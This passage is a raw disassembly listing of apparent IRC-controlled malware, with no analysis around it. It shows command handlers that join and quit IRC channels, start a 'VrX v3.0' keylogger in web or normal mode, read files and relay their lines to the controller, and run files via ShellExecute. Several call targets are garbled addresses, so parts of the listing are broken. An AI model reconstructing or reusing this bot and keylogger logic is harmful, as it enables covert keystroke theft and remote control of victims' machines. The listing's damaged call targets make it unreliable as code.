		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26A0428h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		call	near ptr 26A06B3h
		nop
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26A0428h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		call	near ptr 26B0E72h
		nop
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
